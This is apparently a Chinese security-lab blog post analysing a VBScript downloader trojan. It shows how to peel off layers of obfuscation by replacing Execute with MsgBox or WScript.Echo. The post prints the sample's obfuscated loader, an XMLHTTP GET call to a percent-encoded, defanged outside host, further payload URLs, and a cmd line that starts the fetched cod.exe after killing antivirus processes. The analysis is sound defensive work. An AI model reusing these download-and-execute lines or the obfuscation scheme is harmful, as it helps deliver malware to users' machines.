Blast's Security Lab
30 Jul 2010
文件: photo.vbs
语言: VBScript
类型: TR/Downloader
MD5 : 9B626055F6BEAAA50E6EAE4EB2034B8A
加壳: -
大小: 21,147 字节
时间: 2010-7-30 13:03:01
本文来自www.sacour.cn 转载注明来源
昨天的一个样本,代码如下(防止误报和主机抽筋转成全角了):
全角转为半角请到 http://www.sacour.cn/convert.htm
data="74,89,84,73,75,100,102,70,68,61,34,85,73,.......,111,110"
Function ChrData(Data)
MyArray = Split(Data, ",", -1, 1)
For each OldData in MyArray
Newdata=NewData&chr(OldData)
Next
ChrData=NewData
End function
execute Chrdata(data)
不怕他加来加去的,就像是NeoSploit那种脚本一样,加密加的再强大还是要用一句Eval来执行,这个脚本虽然字比较多,但是命令很少,最后一句Execute绝对也是它的死穴,改MsgBox吗?这个VBS有20多K,在VBS里面MsgBox的显示字数却是有限制的,具体多少字呢?
Dim sTest
Dim i,j
For i = 1 To 65
For j = 1 To 1000
sTest = sTest + "A"
Next
MsgBox sTest, , "当前应该显示" & cStr(i * 1000) & "个字符"
Next
试验一下(记得自己在任务管理器里面把wscript.exe结束了,否则要弹65下),到第二次就显示不全了,只显示了1023个字符,所以估计在WScript.exe里面MsgBox这个函数只能显示长度在1024以下的字符。
但是如果字符比较多怎么办呢?输出到文件虽然可以,但是毕竟很烦人(觉得烦人是因为我几乎每次都忘了代码),WScript还有什么类似功能吗?微软说,还有个叫“WScript.Echo”的,在WScript.exe下,它会弹出来一个对话框(CScript.exe下以控制台的形式弹出来):
http://msdn.microsoft.com/en-us/library/h8f603s7(VS.85).aspx
把Execute改成Wscript.Echo,得到以下结果:
JYTIKdfFD="UIyugFTR6Ty.run......伟D伟+伟B.S伟=mhgon0,(mhg)error0,(mhg)resume0,(mhg)next=mhg"
JYTIKdfFD = Replace(JYTIKdfFD, "0,(mhg)",chr(9))
JYTIKdfFD = Replace(JYTIKdfFD, "伟", chr(34))
JYTIKdfFD = Replace(JYTIKdfFD, "钱", chr(39))
execute(MyEncode(JYTIKdfFD))
function MyEncode(hack520org)
sz = Split(hack520org, "=mhg")
For i = UBound(sz) To 0 Step -1
weiwei = weiwei + sz(i) + vbcrlf
Next
MyEncode=weiwei
end function
使用的工具暴露出来了,是某某网站的VBS加密器,虽然是多层加密,但是其中还是有一个Execute,继续把Execute改成Echo,得到最后结果,作者也还真蛮蛋疼的,混淆的一身劲,稍微(能整理好几分钟)整理一下,首先程序建立几个COM对象,然后检查系统是否有“FSMB32.EXE”、“cod.exe”的进程,如果有则试图调用ntds来结束它们,然后下载文件:
xml.oPen "GET","hxxp://%77%77%77%2E%63%63%6F%62%2E%64%65/%77%77%77/%62%62%73/%64%61%74%61/%70%72%61%79/%32%30%30%33/%64%61%74%61/%70%72%61%79/%32%30%30%37_%37%36%33%37.%6A%70%67",0
xml.SeNd()
好吧,想下载hxxp://www.ccob.de/www/bbs/data/pray/2003/data/pray/2007_7637.jpg,不过……这个文件404了,估计这个站点也是被他黑下来的,被管理员发现了,给删除了,这儿假设它下载成功了,他会把文件保存到C:\WINDOWS\Help\cod.exe,然后执行cmd /c set date=%date% &&date 2008-6-20 &&ping -n 11 127.0.0.1 &&start c:\windows\help\cod.exe,不过这年头修改系统时间还有什么意义?
之后又是恶心的混淆,同样的方法,试图结束"avp.exe"、“woar.exe”,然后通过XMLHTTP对象下载hxxp://oursound.co.kr/banner_img/bannera1.gif,不过这个下载成功了,稍后来看,vbs把它保存到了C:\WINDOWS\web\woar.exe,然后通过与上面类似的方法加载它。
同样,同样,最后vbs试图结束“avp.exe”、"bac.exe",然后下载hxxp://www.om108.com/sale/_notes/s22s1adeg2.gif,保存到c:\windows\web\bac.exe,然后执行。
清理:
1. 结束进程bac.exe、cod.exe
2. 删除对应启动项
试图结束,明知道结束不了的,他还是要试一下。汗。。。
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。